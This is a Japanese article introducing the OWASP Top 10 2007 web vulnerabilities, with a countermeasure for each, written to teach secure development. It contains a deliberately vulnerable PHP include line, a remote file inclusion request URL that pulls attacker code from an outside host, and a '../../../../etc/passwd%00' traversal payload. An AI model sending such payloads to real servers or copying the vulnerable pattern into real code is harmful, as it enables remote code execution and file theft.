Webアプリケーションを作る前に知るべき10の脆弱性：Security&Trust ウォッチ（47）

　Webアプリケーションが攻撃者に付け込まれる脆弱性の多くは、設計者や開発者のレベルで排除することができます。実装に忙しい方も、最近よく狙われる脆弱性のトップ10を知ることで手っ取り早く概要を知り、開発の際にその存在を意識してセキュアなWebアプリケーションにしていただければ幸いです。

Webの世界を脅かす脆弱性を順位付け

　OWASP（Open Web Application Security Project）は、主にWebアプリケーションのセキュリティ向上を目的としたコミュニティで、そこでの調査や開発の成果物を誰でも利用できるように公開しています。

　その中の「OWASP Top Ten Project」というプロジェクトでは、年に1回Webアプリケーションの脆弱性トップ10を掲載しています。2004年版は日本語を含む各国語版が提供されていますが、2007年版は現在のところ英語版のみが提供されています。

　トップ10には入っていない脆弱性もありますが、最近のWebアプリケーションが抱える問題を知るための便利な資料として活用できます。脆弱性の存在を知れば、設計や実装で防御を意識するようになることでしょう。

OWASP Top 10 2007で知るWebアプリケーション脆弱性の概要

　OWASPから発表されたトップ10を簡単に紹介していきましょう。OWASP Top 10の詳細ページには、脆弱性の概要、検証方法、防御方法、参考文献などが紹介されているので、それぞれのリンク先を参照してください。また、＠ITでの関連記事リンクも併せてどうぞ。

●1．クロスサイトスクリプティング（XSS）

　HTMLで表示する文字列の中に、悪意のあるJavaScriptやHTMLタグなどを混入できるというバグによって起こります。ちなみに、XSSも2位のインジェクションの欠陥の一種ですが、XSSは特別多い脆弱性だということで分けて扱っているようです。

　この脆弱性があることによって、わなにはまったユーザーのCookie情報が攻撃者の手に渡ることで、セッションを乗っ取られてしまい、アカウントを盗まれてしまう可能性があります。また、攻撃者が偽の入力フォームや文章や画像などを設置することできます。そして、正規のWebページを装って、偽の情報を流すことで、利用者の情報（個人情報やクレジットカード番号、パスワードなど）を収集することができてしまいます。

　入力値のチェック、出力エンコーディング形式の指定などの対策が有効です。また、ブラックリスト方式の対策は、すべてのパターンを網羅することが難しいということを認識しておきましょう。

●2．インジェクションの欠陥

　有名なSQLインジェクションをはじめ、OSコマンド、LDAP、XPath、XSLT、HTML、XMLなどのインジェクションがあります。悪意のあるデータを混入できることを利用することで、そのデータがコマンドやクエリとして解釈され実行されてしまうという脆弱性です。

　この脆弱性によって、攻撃者がサーバ上のデータの閲覧、作成や削除などができてしまうという問題が起こります。最悪の場合には、OSコマンドを悪用されてシステムが完全に乗っ取られてしまう可能性もある脆弱性です。

　入力値のチェック、プレイスホルダやストアドプロシージャなどの利用、データベースを最小特権で利用するなどの対策が有効です。また、PHPのaddslashes()のような効果のあいまいなエスケープ機能を使って満足しないようにしましょう。

●3．悪意のあるファイルを読み込んで実行

　内部や外部からファイルを読み込む機能を持っている場合、その入力されたデータのチェックが不十分なことによって、任意のファイルやコードを読み込ませることができてしまうというバグによって起こります。PHPでの典型的な脆弱コードとしては下記のようなものです。

include $_REQUEST['css'];

　攻撃者が設置したPHPコード（http://hackr.jp/attack.txt）を、上記のコード をサーバ（http://www.example.com/index.php）に対して、下記のようにリクエストを送ることで任意のPHPコードの実行が可能になります。

http://www.example.com/index.php?css=http://hackr.jp/attack.txt

　この脆弱性があることによって、リモートからあらゆるコードを実行されたり、rootkitを送り込まれてシステムを乗っ取られたり、サーバ内の任意のファイルを読まれてしまうという問題が起こります。

　開くファイルや入力できる文字列を限定したホワイトリスト方式での対策や、リモートファイルのインクルード機能を利用しない設定（PHPならallow_url_fopen=off）にしたり、ディレクトリを超えたファイル指定をできないようにしたりする対策が有効です。

●4．オブジェクトの直接参照

　URLやパラメータを変えることで、本来見せるべきではないオブジェクトにアクセスすることができてしまうバグによって起こります。

　この脆弱性があることによって、“../../../../etc/passwd%00”のようなパラメータを渡して、ディレクトリをさかのぼりシステム内のファイルにアクセスする「ディレクトリトラバーサル」や、“UID=ueno”を“UID=sen”に変えると違うユーザー権限でアクセスすることができてしまうという問題が起こります。

　オブジェクトにアクセスする際に権限を検証したり、パラメータとして受け付ける値を制限するなどの対策が有効です。

●5．クロスサイトリクエストフォージェリ

　CSRF（Cross Site Request Forgery）は、本来拒否すべき外部のWebページからのHTTPリクエストを受け付けてしまうというバグによって起こります。

　この脆弱性があることによって、わなにはまったユーザーが外部に設置された悪意のあるWebページにアクセスすることで、Webアプリケーションの何らかの機能が実行されるという問題が起こります。攻撃者が狙うのは、ログイン認証を必要とするWebサイトが多く、データの更新や削除といった機能を実行させようとします。

　ランダムなトークンをフォームやURLに埋め込んでその整合性を確認したり、重要なデータ更新を扱う際には再度認証を行ったり、GETは使用しないといった対策が有効です。

●6．設定情報などの漏えい、不適切なエラーハンドリング

　データベースやアプリケーションなどが出力するエラーメッセージを利用者に表示していたり、Webアプリケーションのデバッグ用のメッセージを表示したり、認証の際に「パスワードが違います」というメッセージを表示してしまうことで、「ユーザーIDは合っている」ということを暗示してしまうといった不備を指します。

　この脆弱性があることによって、攻撃者は次の攻撃のための重要な情報を手に入れることができます。

　開発者同士でエラー処理に対するアプローチを共有したり、アプリケーションなどのエラー表示機能を無効にしたり、詳細なメッセージを表示せず簡単なメッセージを表示するだけにするといった対策が有効です。

●7．不適切な認証やセッション管理

　認証機構やセッション管理、ログアウト機能、パスワード管理、秘密の質問などの設計や実装に弱点があるため、適切に認証やセッション管理が行われていないという問題によって起こります。

　この脆弱性があることによって、攻撃者はユーザーや管理者のアカウントを乗っ取ることができます。

　開発者独自のセッション管理機能を開発したりせず、広く使われているセッション管理機能を使ったり、SSLなどで暗号化されていないページからのログインはさせずCookieにsecure属性を付ける、有効なセッションかどうか確認するといった対策が有効です。

●8．暗号の使い方が不適切

　重要なデータを守るために暗号を用いるのは有効な方法ですが、開発者お手製の暗号アルゴリズムを使ったり、弱いアルゴリズムを採用してしまったり、鍵の管理が安全でなかったり、暗号化すらしていないという問題によって起こります。

　この脆弱性があることによって、暗号化によって安全に守られていると思い込んでいる情報が、簡単に漏えいしてしまうといった可能性があります。

　お手製のアルゴリズムやすでに脆弱性が見つかっているアルゴリズムを使わずに、一般的に使われているアルゴリズムを採用し、鍵管理を安全にするといった対策が有効です。

●9．通信方法が不適切

　認証が必要な部分の通信のすべてにSSLを使用していない、またクレジットカード番号などの重要な情報を扱う部分の通信で使用していないといった問題によって起こります。

　この脆弱性があることによって、認証情報やセッションIDなどが漏えいすることでアカウントが乗っ取られたり、重要な情報が漏えいしてしまいます。

　すべての認証が必要な部分、個人情報やクレジットカード番号などの重要な情報や値を扱う通信では、SSLを適切に使うことが有効な対策です。また、Webサーバやデータベースシステム間の通信も適切に保護するようにしましょう。

●10．URLへのアクセス制限の不備

　例えばWebサイトの管理者ページへのアクセスを、アクセス制御機能を設けず、URLを隠していることだけに頼っているといった問題によって起こります。この脆弱性があると、何らかの理由で隠していたURLが見つかってしまった場合、攻撃者は制限されることなくそのページを利用することができてしまいます。

　アクセスを制限したいすべてのページにはアクセス制御の機能を実装しましょう。ページや機能ごとにアクセス制御のマトリックスを明確にすることや、フレームワークを活用してどのページでも自動的にアクセス制御機能が働くようにするといった対策が有効です。

まずは、セキュリティを必要な機能として認識することから

　何年も前からWebアプリケーションのセキュリティの必要性については語られていますが、まだその意識は共有できていないのが実情でしょう。

　「セキュリティは追加するもの」という認識で、価格競争などでコストや納期が最優先となったとき、本体機能の実装のみが行われ、結果としてセキュリティが追加されなかったということになっているのではないでしょうか。「セキュリティ対策」という言葉が、セキュリティは後付けというイメージなのも良くないのかもしれません。

　セキュリティは追加するものではありません。あらかじめ設計時から認識し、「セキュリティも本体の一部」とすべきです。可能であれば見積もりにも織り込むことで、セキュアなWebアプリケーションの実装を心おきなく行えるようにしたいものです。